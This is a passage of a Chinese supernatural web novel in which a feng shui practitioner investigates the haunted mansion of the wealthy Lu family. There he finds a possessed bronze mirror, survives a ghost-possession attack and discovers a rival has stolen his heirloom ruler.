蹬蹬蹬的脚步声在靠近。 白姝灵骤然消失不见,一下子,我兜里变得沉甸甸的。 一道人影窜入屋内,不正是苟驹吗? “陈先生,你这儿没事吧?我听到声音……”苟驹话音未落,就盯着洗手间的门,咽了口唾沫。 “河神老爷钻出来了,一长串水迹,是来了你这里,我还听到了惨叫声,这里是……”苟驹再度开口,不自然的问。 “没事,卢小姐找上我了,河神老爷把她撵走。”我缓住了心神。 “这……不应该啊?”苟驹一脸诧异不解。 不止是他不解,我一样如是。 卢小姐本就不该缠上我。 白姝灵还没有恢复主导,只是另一股意识发现苟驹来了,避过他而已。 先前我接受的信息又多,这多重事情压下来,就让我脑袋都一阵嗡嗡的刺痛。 “嘶……”苟驹突然倒吸一口凉气,瞅着另一个方向。 我随之扭头一看,才瞧见靠左的一面墙上,居然贴着一个好大的喜字。 只是这喜字不红,反而惨白,甚至还湿漉漉的往下渗水,导致整面墙都变得湿润。 “我说呢……卢家的事情,咱们没插手,卢小姐来过,警告过,就不该出现才对……” “搞半天,卢小姐看上陈先生你了……” “死倒杀人泄去怨气,就是河尸,她要是个没嫁娶的处子,就得找婚配男子,陈先生,你点了她的位置,她恨你,又怕是因恨而生情……” 苟驹这番话,更让我一阵恶寒。 我很想说荒谬。 可喜字就是实打实的挂着,扎眼极了。 脸色再微微一变……我想到自己这条命数的特性,棺生子,本来就招惹东西。 白姝灵的婚约是要护着我的。 可另外一股意识,先前刻意松懈,才让危险落到我头上…… 如果河神老爷没能把卢小姐除掉,她就还得来找我! “这事儿……说来也巧了……”苟驹再度开口,带着一丝试探。 “什么巧了?”我才接了话,强忍着眼皮的狂跳,思绪还是紊乱。 白姝灵得和我一条心,才能规避凶险,否则我的命数,也会不停带来麻烦。 因此她的另一个主导意识,得想办法抑制住才行。 我思索间,苟驹咳嗽一声,才说:“还是卢家的事儿,卢老爷子弄得咱们饭没吃好,我打电话到卢家那里,把他们一顿痛骂,陈先生你的话我是完全带到了,让他们别来惹您。” “结果呢,卢家好一通道歉,非要登门谢罪。” “陈先生你说,这不是巧了吗?卢小姐缠您,总归是要有个说法。” 我一愣,盯着苟驹的双眼,没有挪开。 “你答应了?”我问。 苟驹赶紧摆摆手,说:“我肯定没有,一码归一码,之前的事情结束了,掺和不到一起。” “就是吧……卢家这一次,先说的钱,要给的太多了,就求您出手帮个忙。” “当然,我只是模棱两可的说了,可以让他们见您一面,道歉是行的,别的我做不了主。” 我:“……” 苟驹先前表现的规矩感的确很强。 说不管的是他,现在掉钱眼里的,又是他? “我没有兴趣。”我摇摇头,才说:“如果他们已经来了,就让他们走。” “那卢小姐……”苟驹不自然的说:“她肯定还来,我意思就是,这被缠上也不是您想的事儿,您总归要解决,为什么不赚一笔?卢家给的,是真的很多。” 我本来还要拒绝。 可想到卡里多的那几千块,稍微打了个迟钝,问了句:“很多,是多少?” 苟驹五指张开。 “五万?”我再问。 “呃,陈先生开玩笑了,五万,他们也好意思,是五十万,陈先生要能解决的话,后续还有感谢。”苟驹说。 我晃了晃头。 一时间,脑子思绪被冲得干干净净,一阵阵空白。 第81章 整容后的异样 五十万是什么概念。 我打暑假工寒假工去端盘子,撑死了一千八。 就算等毕了业,现在的就业环境,能不能找到工作都是个未知数,085.211去送外卖的一大把,就按照正常四五千的工资,我得挣八九年,不吃不喝,才能有五十万块钱。 对,事不关己,高高挂起。 可五十万。 有钱能使鬼推磨,这也是真的。 “您要还是没兴趣见,我这就去推了,让他们另想办法,总归咱们也忙着,我还想着,明儿干另一件活计呢,对我来说稳妥。”苟驹见我没吭声回答,以为我不满,立即打圆场。 “见,谁说的不见?”我立马开口,音调都不受控制的稍稍变高。 苟驹眼前一亮,他瞅了一眼墙上的喜字,洗手间门,说:“我马上给您这里收拾收拾。” 立马,苟驹回了平房,再来时,带了双手套,以及一个锈迹斑驳的工具箱。 他很快掀掉喜字,又叮叮当当的将撞松的门给安好了。 我便一直坐在沙发上看着,静静地等,又有几分心跳加速。 约莫十来分钟后,苟驹接了个电话,他立马走到小二楼门前,我听着他在给人说具体位置。 没两分钟,一辆迈巴赫停在了小二楼前,车上下来了几个人,都陌生中带着一丝丝眼熟,我认出来,都是那一晚上在江边的人。 在苟驹的示意下,他们进了屋子。 当先的,是个中年男人,和卢老爷子有六七分挂像,应该是他儿子。 果然,那中年男人略显得局促和恭敬,喊了声:“陈先生。” 紧接着他自我介绍,叫做卢晟,眼下是卢家家主,随后又是道歉,意思是,前几天他女儿被打捞回家,又诈尸闹鬼,害死了他爸,他家有几个不争气的东西,说这事儿我们没给卢家处理好,干脆让老爷子来找我们,非把事情办了不可,卢家才会鬼迷心窍,给老爷子弄了点儿不该弄的东西,让他也闹鬼。 这事儿,是卢家猪油蒙心,让我千万要大人不记小人过。 卢晟说着,还深深鞠了一躬,卢家其余人,一样鞠了一躬。 说实话,被卢老爷子盯着,的确让我心里不舒服。 不过,想着卢家要给五十万,那股不舒服的劲儿,直接就成了另一种心态,无伤大雅。 苟驹在最后方,和我微微点头,他还舔了舔嘴角,带着一丝笑容。 “卢家这事情,究竟是怎么一回事儿,仔细说说吧。”我开了口。 其实,我现在还不确定应该怎么办。 毕竟这种事儿,我又没有替人看过,只知道老鳏夫懂风水,这些年帮村里看事儿,陈梁生会了庙祝的手段,名利兼收。 苟驹是有见识的,卢家也有,眼下他们没发现我是半罐水,就代表我最近做的事儿没问题,实力应该足够? 这思绪间,卢晟稍一迟疑,又看了一眼苟驹。 “怎么?听不得了吗?那我走?”苟驹白了卢晟一眼。 “哎,倒也不是,就是这家丑。”卢晟一阵苦笑,随后才说:“事情,要从我女儿身上说起,她,前段时间出了问题,喜欢在身上做文章,动刀子。” “整容就整容,说的那么玄乎劲儿。”苟驹耸了耸肩,他不知道从哪儿摸出来一个红白相间的小瓶子,滋了一口。 卢家其余几人一阵尴尬。 我没有别的什么神态,仔细的听。 “整容这件事情,现在都多,女孩子爱美,我其实还好,就是我家老爷子心里不得劲儿,勒令过她几次,再去整,就停了她的卡,家里不给她钱。” “结果,我女儿更变本加厉,甚至还动了全身,就是那一次,出事了。” “她总是晚上的时候照镜子,梳头,化妆。有一天她打扮得花枝招展,就深夜出门。” “我家老爷子这也晓得了,是逆反心理,越管越出问题,前边儿是整形,这下子,要是败坏了家风门楣,卢家在内沧市都没脸见人了。” “因此,那晚上老爷子就带着我和我婆娘,偷摸的跟踪了卢茜。” 我心知,卢茜就是卢小姐的名字了。 “您知道……她去哪儿了吗?”卢晟脸都白了,一阵欲哭无泪的表情。 “说。”我语气镇定。 “是陵园,一排排的坟,夜里头都在冒绿光,她却高兴的很,在陵园里跑来跑去,小时候她学舞蹈,居然就在坟头前边儿跳舞,这把人都吓死了啊。” “我们赶紧将人绑了回去,她凶得吓人,嘴里一直乱骂。” “关了她十来天,我婆娘心软,把她放出来了,她失踪不见,最后果然去陵园找着她了,她居然睡在一座坟上。” “再把人带回去,这下子不敢放了,这是真撞邪。可真有本事的先生不好请,来了七八个,全都是神棍,屁用没有,把家里折腾的乌烟瘴气。” “结果卢茜,干了一件把老爷子气得差点儿脑溢血的事儿。” “那晚上,也不知道她怎么从房间里出来了,和看门的保安……” “老爷子气疯了,一直打,人就往外跑,一直追到天沧江边儿上,卢茜无路可逃了,她就冷笑说,抓她回去又怎么样?今晚上是保安,明天就是别人,卢家的男人,她挨个挨个得尝尝味儿。” “这话别说老爷子,我当时都差点儿昏过去。” “最后老爷子一脚把卢茜踹进了江里,她不会游泳,淹死了。” 卢晟又重重叹了口气,脸上既耻辱羞愧,又哀伤。 “好家伙,死之前就撞邪了,性格大变,身上保不齐沾染了什么东西。”苟驹稍有些阴阳怪气,说:“捞尸队都差点儿被卢家坑了,还好陈先生出手,你们卢家的钱,不好拿。” “没……没有……之前是确实丢人,这事儿我发誓,一点都没遗漏,一五一十都说清楚了。”卢晟双指指天,都要发誓。 “卢小姐其实早就在闹鬼,一直在卢家里折腾,对吧?” “因此,卢老爷子非要将尸体弄回去,你们想着让她别闹?结果,老爷子命搭了进去?”我问。 卢晟咽了口唾沫,怔怔看着我,说:“您神了,不过,您还没去卢家宅子,这事儿,不止是这样……我们发现,卢茜,其实早就不是卢茜了……您,这会儿有时间跟我们去一趟吗?” 第82章 她在家 卢茜,早就不是卢茜? 我想到了一个人,胡喋。 当初的老鳏夫,不也早就不是老鳏夫,被胡喋取而代之。 即便是在我们村子,人要是过于反常,都会认为是撞邪,鬼上身。 卢晟能一直对自己女儿直呼其名,而不是一个小名什么的,足以见得,这件事情对他打击很大,都成了噩梦一样。 “去看看。”我点点头。 帮苟驹找出来卢茜的尸身所在,这其实是对风水术最粗浅的运用。 卢家的问题若只是这一些,真要是能干净利落的解决,恐怕才算我真正意义上的办成了一件事情。 这样的事情,陈梁生这些年恐怕已经办了不知道多少件。 要对付他,首先就得追上他。 卢晟立即做了个请的手势,苟驹一样跟上了我。 那辆车不够载人,就留下两人自己打车回。 离开回水湾之后,穿过夜幕中安安静静的城市,最终抵达了一处位置,这里有座城中山,山脚下有个大宅,宅子古色古香,很老,却不旧,给人一种厚重的感觉,可除却厚重之外,隐隐约约又能从房顶上瞧见一丝丝绿幽幽的雾气。 “依山傍水……”停在大门前,我视线从宅子上移动,至宅子正前方的一条马路,马路后边儿,就是天沧江的主流河道。 人常说,依山傍水是好风水。 可是这有个误区,大部分依山傍水的宅子,稍不注意,就会修成阴宅。 山前水又叫做明堂水,阴宅才需要前有水,后有山,水聚拢生气,山放出生气,阴宅里的死人乘生气,宛若活着。 活人若住了这种地方,就容易和死人抢气运,渐渐地,家族就破落了。 深夜,宅中灯火通明。 卢晟站在我身旁,小声说:“您请。” 悄无声息的,我旁侧多了一“人”,白姝灵。 她神色沉冷,宛若常年不化的冰山,凝视着卢家宅子。 卢晟没瞧见她。 车上还下来两个卢家人,一样没瞧见白姝灵。 她的神态让我清楚,这还是那个常年待在死水潭子里的意识做了主导,本身的白姝灵,还没有清醒过来。 鬼这东西,是有些说法的,并非所有人都能见鬼。 人能见的鬼,要么和自己有莫大的关系,要么就是已经被鬼缠身。 像是卢家人能见到卢茜,大多因为他们是一家人,其次也有卢茜不光是单纯的鬼,尸体一样诈尸,那就是真切存在的实物。 当然,苟驹瞧见白姝灵了,他眼瞳都微微一缩,额头隐隐泌出汗珠。 不过,他没有说话,只是瞟了我一眼,眼神中多了几分忌惮。 “宅子里,好几个死人,先前我没管你,是让你有点儿教训,该回家就回家了,你不能进这里,你要是死了,我怎么办?”白姝灵幽幽道。 我怎么办? 如果是另一个她的意识说,那肯定是另一种意思。 她眼下的意思,只是她的尸体还在死水潭子,没有人能把她拉出来而已。 我没理会白姝灵,径直迈步,朝着卢家宅子门走去。 “你!”白姝灵重重跺了跺脚,她又消失不见。 卢晟没什么反应,他紧随着我往大门走,显得战战兢兢。 苟驹跟在我另一侧,至于另外两个人,他们居然没敢上前。 当大门推开后,一股冷气冲出来,宅门正对着的首先是一块屏风石头,左右两侧才是走廊,石头后边儿是花园。 正堂不对门,卢家这老宅还是有讲究的。 只是,宅内出奇的安静,灯火通明往往应该是人没睡,眼下却寂静的落针可闻。 走在前头的,成了卢晟,他左右四瞄着,似是很怕。 我们很快通过一侧走廊,进了一个大屋里。 这就是卢家老宅的正堂客厅了。 两侧立着柜子,摆着一些瓶瓶罐罐,或是别的什么古玩。 太师椅,茶桌,案几,一切都是红木,十分奢华厚重。 很干净。 干净到一尘不染。 “老宅没人住了,暂时所有家里人都搬了出去。” 卢晟明显是强忍着镇定,额头上都在冒汗,他眼神还在四瞟,显得有些抑制不住的惊悚。 “等会儿,卢茜就会来给我们倒茶。” 卢晟这话,语出惊人。 他压低了话音,继续说:“这就是最惊悚的地方,她明明死了,按照人常说的,水死鬼在水里,结果,她死的那天就回来了,和先前大相庭径,乖巧的很,给人倒茶,端水,就像是个没事儿人一样,可明明她死了啊,老爷子一脚踹下去的。” “全家人谁受得了鬼敬茶?吃不好,睡不好的。” “一旦说个鬼字,就会立马昏迷……” “我们搬出去就还好了,其实一直没出事儿,可大宅总不能不要了吧?” “老爷子没辙,这才找了捞尸队,打算把尸体弄上来就烧了,一了百了,毕竟尸体和鬼分开了不是?” “哪曾想,那晚上我们住在别墅里呢,尸体托人送去了殡仪馆烧,结果老爷子自个儿在洗脸盆里淹死了,他死不瞑目,又诈尸闹鬼,一直说回家回家,这才有了几个不争气的东西,给老爷子乱弄香火,让他闹鬼去找陈先生的荒唐事儿。” 卢晟是在和苟驹解释,又小心翼翼看我。 “是有点儿古怪哈,捞出来尸体的时候,里边儿明明就有个鬼魂。” “按道理来说,死倒的魂魄,是肯定出不来的,卢小姐能出来,这就有问题,可再有问题,鬼魂也不能离开尸体太远,除非还有别的载体。” “退一万步说,不存在鬼能同时在两个地方,两个性格。” “江里头打捞上来的卢小姐,凶得很,这宅子里的卢小姐又很乖巧,这就很矛盾。” 苟驹正分析着呢。 卢晟忽然做了个嘘声的动作。 忽然,堂屋里来了一股风。 这风冷得很,刮走了人身上所有暖意,让人一阵冒鸡皮疙瘩。 堂屋门前多了个人,她端着托盘,上边儿放着茶壶,茶杯。 身材看上去平平无奇,脸盘子稍圆,头发倒是很浓密,垂在脸颊两侧,显得脸小了一些。 是卢茜,可……又和我先前瞧见的卢茜不一样,更和打捞出来的卢茜,有区别。 “爸,您回来了。” “还有客人呢。” 细软的话音在屋内回荡,卢茜款款进门,逐一给我们倒茶。 卢晟不停的使眼色,意思是让我们别多说话。 第83章 随便进女孩子的房间 苟驹做了很多分析,就差直接说,卢茜尸身里是另外一个女鬼。 我思维一样活络,基本上能判断出来,卢茜的确是被占据身体了,鬼魂无处可去,待在老宅里。 只是卢家人不知道,才想着用解决尸体的办法,顺带解决鬼魂。 若非他们将天沧江里的卢茜尸身捞出来,其实,卢老爷子也不会死? 因为家中的这卢茜明显不是恶鬼,没有想杀人? “客人,请喝茶。”细软的话音再起,卢茜显得彬彬有礼。 卢晟端起来了茶杯,和我们微微点头。 因此,我才端起来杯子。 茶汤清亮,看起来很干净。 卢晟先喝了,我才送至唇边呷了一口,苟驹粗犷的多,直接喝光了,还让再倒一杯。 卢茜笑意盈然,再倒茶后,卢晟开了口:“小茜,爸还要和客人商议事情,你出去吧。” “嗯。”卢茜又行了一礼,这才端着茶盘离开。 “还挺听话,看上去没什么问题。”苟驹咂咂嘴。 卢晟一脸苦笑,说:“可小茜是鬼啊,苟捞尸人您是见怪不怪了……” “问题不光在她身上,她是好解决的,问题,是在她尸体上,还有她尸身上那个鬼。”我简明扼要的说。 卢晟的额头在冒汗,他眼中迷惘,正在努力理解。 “她出问题了,身上多了个鬼魂占据身体,卢老爷子看似杀了她,实际上,是二次杀了鸠占鹊巢的鬼。”我判断的很果断直接。 苟驹立马点点头,说:“我先前也是揣测,陈先生这样一说,就能说通了,毕竟是死倒,尸身肯定是限制在江中的,只因为她曾是鬼,是借体还魂,才能出来,才能在江边晃荡。那晚上打捞出来尸体,她上了岸,才能报仇。” 卢晟的表情,显得欲哭无泪,说:“那该怎么办?” 我站起身来,目光扫过整个堂屋,尤其是落在房梁上。 “她应该有一个载体。”我再开口。 “刚才那位卢小姐吗?”苟驹接了话茬。 风水术不教捉鬼。 只不过,很多细节能和我的经历对应的上。 白姝灵就曾有一个载体纸人,才能一直待在我家里。 这个真正的卢小姐卢茜,必然也有类似的一个载体。 思绪间,我微微点头。 “她生前有什么特别在意的物品?”苟驹立马问卢晟。 我没吭声。 关于“载体”,这一样是某种常识,苟驹虽然是捞尸人,但是对这些东西,他比我更了解。 我提出来了解决的点,他阴差阳错,就补上了细节。 这就是解决问题的方式! “有倒是有……只不过,她的房间,没有人进得去啊……”卢晟显得很怕。 “这倒是个问题……还有,只是拿到执念之物,她也未必钻进去……陈先生你到时候能收回来?”苟驹试探的问我。 我没接话茬,走到了先前注视的房梁下。 抬手,拖着寻龙分金尺,我比划了两下。 再接着,我看着地面,又往前走了几道官步,抵达堂屋门口后,又官步走了回来,径直走向最内侧的墙体前。 复而我再走回屋子中心,择中了一个位置,将寻龙分金尺竖着立在那个地方。 尺子本身很薄,正常是肯定立不起来的。 现在却稳稳当当的立着,一动不动。 “这里是宅子的化煞位,镇物定煞,她现在已经被压回去了。”我沉声开口。 当初老鳏夫用过类似的法子,就是往人的瓦顶放木瓦。 只不过,他那种手段更粗浅一些。 煞位落镇物,一般人根本看不出来煞位在哪儿,镇物的样式又层出不穷。 一处阳宅,若是主人有权势,请来先生看过,在关键的位置,用镇物辟邪化煞,又在关键的位置,用镇物招财纳福,那主家想不发达都难,想出意外都难。 眼下我没有更好的镇物。 铜钱肯定是,只不过,我不确保那铜钱的效力是否足够,老陈家的尺子,更直接。 整座宅子的气息明显有了些许变化,没有先前那么阴森,恢复了正常。 更主要的是,那通明的灯火,灭了! 宅中无人,灯非人开,是鬼的行为。 化煞之后,这些影响就全部消失不见! 一时间,宅子格外暗沉! “苟捞尸人,你暂且守在这里,帮我看着镇物尺子?” “尺子不能倒下,否则就会出问题。”我慎重说。 “陈先生要怎么办事儿,去办就好,我守在这里。”苟驹坦荡说。 “我……我也守在这里……”卢晟赶紧接话。 “你得带我去你女儿卢茜的房间。”我摇摇头,直接说。 “……”卢晟的表情有些僵硬。 “宅子里都没鬼了,你还怕什么?”苟驹瞪了卢晟一眼。 卢晟不停的深呼吸,似是排解恐慌,他勉强一笑,冲着我做了个请的手势。 我不多言,跟着卢晟往前走。 当然,临出堂屋的时候,他开了灯。 我们沿途走的过道,他都把灯复而打开了。 卢家的宅子果然不小,得走了七八分钟,我们才进了一个小别院,这里倚靠着后山,都能瞧见一处山壁,且那山壁上生着几棵树,树根顽强的扎进岩石里,树上的气根则垂在院子上,风吹之下,尽显幽深。 我取出来了罗盘。 果然,指针簌簌转动起来。 不过,并非出现那种恶阴伤人的转针,仅仅是沉针。 沉针代表着冤死,或者非正常死亡。 手臂微微移动,通过沉针的变化,我走向一个房间。 卢晟小心翼翼的跟在我身后。 我推开那房门后,扑鼻而来是一股很浓的香水味。 啪嗒一声,是卢晟开了灯。 墙上挂了很多艺术照,书桌上同样摆着各式各样的照片。 只是,照片里的人,压根就看不出来是先前倒茶的卢茜。 能看出来,是水中打捞出来的那“卢茜”! “小茜之前模样不好看……鬼魂是和最开始一模一样的,不过打捞上来那个……她已经整容了很多次了……”卢晟略不自然的解释。 我没说话,继续在屋子里找了起来。 很快,我从枕头底下找出来一样东西。 那是一面铜制的镜子,只不过表面很花,还生着绿色的铜锈,能看出来年代久远。 “咦……”卢晟却明显不认识这东西。 我拿到这镜子前,罗盘是沉针。 可这一瞬,指针骤然转动起来,成了转针! 铜面模模糊糊照出来了一个人影子。 头发很长,几乎遮住了整张脸,镜面冒着幽幽的绿光,分外冰凉。 她,在看着我! 这时,我心口忽然一阵闷痛,像是被人重重锤了一下。 再接着,一个幽冷的话音从另一侧响起。 “爸,你怎么能带人随便进女孩子的房间呢?” 大脸盘子的卢茜,悄无声息出现在梳妆台前,她冷冰冰的盯着我。 “客人,你别拿我的镜子!” 镜子变得更冷,那模模糊糊的女人影子消失不见,取而代之的,像是照着一处河面……满是睡莲的叶子,影影绰绰,似有一团头发漂浮在水面中浮沉…… 第84章 尺子倒了,扶不起来 铜镜,在渗水! 卢晟被吓傻眼了,他转身,就向往房间外跑! 可他陡然一下子停驻脚步,整个人都高了许多,踮着脚尖,姿态分外古怪。 随之,卢晟再转身,明明是个男人,他脸色却显得分外阴柔,脸盘子都变大了一样。 “放下我的镜子,你没听见吗!?”卢茜尖锐的声音从卢晟口中传出! 这是鬼上身了! 我弄错了,罗盘找到阴气最重的东西,压根不是卢茜的执念之物,不是她魂魄的载体。 这铜镜,是那个占据她身体的女鬼所用之载体! 甚至,镜子里还能瞧见那女鬼,瞧见打捞尸体的江面! 可最关键的不是这里…… 明明,我用寻龙分金尺镇住这宅子了啊! 镜子里能瞧见鬼影也就罢了,卢茜怎么可能出来,还鬼上身!? 是前边儿出问题了!? 这思绪间,我和被卢茜上身的“卢晟”对峙。 可先前那股胸口闷痛的感觉更强,我哇的一声,竟然吐了一口血,整个人都格外萎靡,朝着地上缓缓倒下…… 哐当一声,铜镜落在地上。 镜面还是对着我,模模糊糊的水波中,睡莲叶子似是拨开了,里边儿的头发,正在慢慢的蠕动。 水渗透出来的更多,就给人一种感觉,里边儿的头发要冒出来了一样…… “卢晟”死死的盯着我,一步步朝着我走近。 脑子浑浑噩噩,眼前一阵阵发黑,每一下心跳,都显得格外无力。 我不理解啊。 卢茜还没来得及对我做什么。 就算这镜子里的鬼很凶,占据卢茜尸身的那东西很凶,可她一样没能对我做什么…… 宅子出问题了,明明用镇物镇住的宅气,被破开。 那就是寻龙分金尺被动了?! 可我怎么会吐血…… 而且……身体的那股僵硬和麻木的感觉,让我动弹不得。 “来者是客。可你不能随便进女孩子的房间,动人家女孩子的东西!” “你很不礼貌!”卢茜的话音更尖细。 “卢晟”已然走到我面前,他双手掐住我的脖子。 手掌,在缩紧。 那种冰凉的感觉,分外刺骨,脖子被限制着,逐渐不能呼吸…… 肺部的空气,正在一点点被榨干。 “你这种男人,真下头,真猥琐,真讨厌。” “掐死你!” “我掐死你!”卢晟口中的话音更尖细,完全失去了一个男人的腔调,只剩下卢茜的阴厉。 那铜镜除了不停冒水,也就没有发生更多的异变了。 镜子里的女人没能钻出来,湿漉漉的头发只是感觉要出来了,实际上也没出来。 我还是动弹不得,只是能感受到额头的青筋不停鼓动,窒息感愈来愈强烈,脑袋都快空白。 “白……姝……灵……” 分外艰难,我才挤出来三个字。 只是,兜里的布人没有反应! “你得求我,求我,我就救你。” 随后,清冷的话音骤响。 白姝灵出现在我身旁。 这也是我不理解的事情,为什么之前,长久待在我身旁的那一部分白姝灵意识能够主导自己魂魄,现在却成了水中的白姝灵意识主导。 否则,眼前这一幕,根本不会这么凶险…… 我真的快被掐死了,她还在冷眼旁观。 心里头难受啊,脸更是火辣辣的,可我别无选择…… “求……求求……你……”话音刚勉强出口。 “真是个废物,进了别人的局还不知道,风水术又弱,让人轻而易举反煞。”白姝灵语气分外清冷。 下一瞬,她盯着卢晟,尖声喝道:“滚!” 卢晟还是死死掐着我,不过,他眸子抬了起来,显得分外阴柔。 “滚出我房间!”卢茜话音更尖锐。 白姝灵骤然往前一窜,直接撞进了卢晟的身体里。 卢晟的手骤然松开,他口吐白沫,眼睛外翻,就像是羊癫疯,又像是触电一般抽搐不已。 脖子被松开,我嗬的一声,吸了好大一口气,肺都在发痛! 身体还是麻的,几乎动弹不得! 卢晟不停的挣扎着,不停的在地面扳动,就像是出水的鱼! 房间里不停的传出尖叫声。 第六感让我觉得头皮发毛,格外勉强的扭头瞥了一眼,瞧见那铜镜上多了一张脸,一张分外俏丽,却分外惨白,满是水迹的死人脸。 她像是快要钻出铜镜! 只不过,这只是一个视觉的假象…… 实际上,是她的脸在铜镜里,镜子还是平面的,她钻不出来! 卢晟的抽搐,骤然强烈数倍,他脑袋磕在地上,发出咣当咣当声响,我都怕他头磕破了。 终于……一切安静下来。 一道烟气从卢晟身上钻出,白姝灵现了形,站在我身旁,她冷眼看着我。 我呼吸很粗重。 房间的安静,让人稍稍舒缓了几分。 只不过,白姝灵先前那番话,还是在我脑海中回荡。 进了别人的局。 被人反煞? “废物,让你回家,你不肯,我不帮你,你就死在这里了。” “你回去吗?”白姝灵幽幽道。 我没作答。 忽然间,白姝灵消失不见,卢晟猛地挺立气身体,直勾勾的盯着我,白姝灵幽冷的话音响起。 “不回去,与其平白无故的死,让我掐死你也好!” 她这番话,让我毛骨悚然。 卢晟脸上的细节情绪,像是白姝灵一样冷若冰山了。 他双手猛地要掐向我脖子! “啊!”一声尖叫,从他口中炸响! 他双手,忽地又掐住自己的脖子! 卢晟拼命扳动两下,又一下子安静不动…… 白姝灵再度出现在我身旁,她身体微颤,眉头紧蹙。 “你别想出来!” 冷冽的语气,透着毋庸置疑。 随后,她冷冰冰看我一眼。 “你会死的,回去,至少不会死在外边儿,你别害我让人捉去养了鬼。” 语罢,白姝灵消失不见。 蹬蹬蹬的脚步声响起,是有人在接近了。 我心头一寒,勉强撑起身体。 这时我此刻能做出来最大幅度的动作了。 小别院里跑进来一个人。 是苟驹! 悬起来的心,顿松懈下去一截。 “嘶……陈先生,你们怎么都躺地上了!?” 苟驹嗓门很大。 他眼珠子瞪得滚圆,骂了个操字,一脚狠狠踩在那铜镜上。 骂骂咧咧:“吓老子一跳!” 下一秒,苟驹抬脚,铜镜上映出来的白脸消失不见…… “这……卢晟家主怎么穿了双绣花鞋,怪瘆人的……他被鬼上身了?” 苟驹多少是有眼力见儿的。 他赶紧来搀扶我,又说:“陈先生,你没大事儿吧?” “没事……尺子呢?”我语气很疲。 “我就想和你说这个呢……尺子倒下去了,怎么都扶不起来,那玩意儿,烫手啊,给外边儿人打电话,让他们进来把尺子看着,我就赶紧进来找你们,又听到尖叫声。”苟驹语速飞快的解释。 他更用力的搀扶,我站起来了。 “您站得稳不?”苟驹问我。 我挣脱开他的手,指着卢晟的脚。 果不其然,那里穿着一双绣花鞋。 鬼上身,一样会带着自身的执念之物。 卢茜的魂魄就在这鞋子里! “把鞋子拿上,那面镜子拿上……”我说完这话,心口的悸动感更强。 没有在房间里停留,脚步蹒跚的朝着来时路返回…… 第85章 非正常死亡 几分钟,我便回到了卢家大宅的堂屋客厅里。 人横七竖八的倒在地上,不光是先前和我们一辆车的两人,还有其余几个因为车坐不下而之后赶来的卢家人,他们全都昏迷不醒。 化煞位上,没有寻龙分金尺,地面空空荡荡。 我脸色彻底变了。 骤然转身,我小跑出了卢家大门,门口停着两辆车,夜色分外静谧,凉风嗖嗖的吹着,却瞧不见半个人影,更看不见半个鬼影子…… 反煞……入局…… 我脑袋嗡嗡作响。 通窍分金尺,被人拿走了…… 卢家的一切,是被人做了局,不管卢茜经历了什么,都是遭人算计。 有人,不想卢家太好。 我来帮卢家,就是入了对方的局。 这反煞,就相当于我在卢家布局风水,又有另一个人,在另外的位置布局风水,形成了冲杀反煞的局面,化煞位的寻龙分金尺,效果不如别人的强,因此,我才会先前忽然倒地,一直手脚酸麻,正因此,卢茜才会突然出现,我没有防备,才会被掐…… 我完全没想到,仅仅是办一件事情,就会遇到“同行”,事情的复杂程度,就会上这么难的台阶,居然,还丢了传承法器! 脚步声响了起来,是苟驹小心谨慎的从后边儿出来,他只是一个人,没有卢晟。 “卢晟家主我放客厅里了,瞧院子里没陈先生你人,就出来看看。” “怎么个事儿……全昏过去了?” 苟驹一脸迷惘,是不知道如何是好。 “卢家被算计了,我们,也被算计了……” “尺子被人拿走。”我心头闷的厉害。 苟驹没看好尺子,我很不舒服。 可他已经是有些本事在身的捞尸人了,他都看不住,那就算我留在这里让他和卢晟去找卢茜的藏魂执念之物,一样会出事。 对方完成反煞,用风水将我冲撞的动弹不得后,说不定还会直接出现在我面前,那时候会发生什么,才不得而知。 退一万步说,是自己技不如人,不能埋怨别人。 “真就是操了,感情卢家不光是家里闹鬼折腾,还得罪了人?耍我们呢?”苟驹骂了句脏话,分外不满。 我角度不一样。 卢家真能知道,自己是被人算计?恐怕不然。 要是他们知道,肯定就不是这种应对手段了。 卢家不缺钱。 他们是死,都不知道棺材在哪儿。 我没有颓然,深呼吸,保持镇定,又一次进了卢家大院。 苟驹跟上我,见我没说话,他也是欲言又止。 停在堂屋里,一眼就瞧见卢晟被放在一张椅子上,旁边的茶台上放着绣花鞋,铜镜。 这两样东西各自用一张符压着。 “把他们拖到院子里,晒晒太阳,应该能醒。”我说。 “其它人咱就甭管了,卢晟醒过来就行。”苟驹稍稍侧侧头,似是拉伸一下脖子,不满之色很浓郁。 他将卢晟拖到了院子里边儿。 我没去动别人,自个儿现在行动还不利落呢,去卢晟刚才的位置坐下。 注意力都落在铜镜和绣花鞋上,微微握拳,脑子里的信息在不停徘徊,勾勒交织。 不过,最终我还是没想到什么有用的东西,已知信息太少,只晓得卢茜算是被害死的,凶手也不能说是卢老爷子,而是暗中的人,对方的目的就是让卢家鸡犬不宁,我是横插一手,搅乱了别人布局。 不知道什么时候,苟驹到了我身旁,他来回踱步两下,最后还是没吭声。 一整夜的时间,就这么过去了。 天亮,很快就出现阳光,晒在卢晟身上,初阳角度问题,一样有光照射接进屋内。 卢晟最快醒来,鬼上身只是阴气压过阳气,伤害不算那么大。 当他晃晃悠悠站起身,瞧见堂屋里一地人的时候,脸都吓白了。 “死不了,没事。”苟驹脸色不好看。 “又发生什么了……这怎么回事儿……陈先生,你怎么没……”卢晟一连串的话,都带着茫然。 他话没说完,苟驹就嗓回去一句:“可别怪人,我还没喷你们卢家呢,得罪了人,遭人算计,自己是不清楚,还是故意装不晓得,让我和陈先生来顶杠?把我两弄了个措手不及,法器都整丢了!” “什么?”卢晟一脸的错愕。 “……”苟驹。 他冲着卢晟竖了个大拇指:“怪不得卢老爷子这么就没了,卢家属于死都不知道怎么死的,你们是这个。” “等会儿,要将卢茜的尸体捞起来。”我开了口。 苟驹一时间没反应过来。 紧接着,我又道:“卢茜尸身中的鬼,是用来对付卢家的,算计好了,非要杀卢老爷子,而卢茜小姐本身,则留在卢家用来恐吓人,让卢家不宁。” “家主死,女儿尸在江中死地,甚至卢老爷子的尸身都在江中,阴邪之气冲天,卢家要不了多久,就会家宅破灭,甚至是家道中落。” 我这一番分析,完全是从风水层面上来讲的。 因为暗中害卢家的人,就会风水,否则弄不出冲煞的手段。 “不光是卢茜尸身,还有卢老爷子,都得弄起来,全部镇尸。” “卢家还有发生过什么怪事儿吗?”我再问卢晟:“还有,最好告诉我,卢家得罪过什么人。” 一时片刻,卢晟没有反应过来,他脸更白。 随后他眼中思索,似是在回忆。 “怪事……要真说怪事,什么算怪?” “死人吗?”卢晟更显得不安。 “非正常的死人,都算怪事。”我言语肯定,直接。 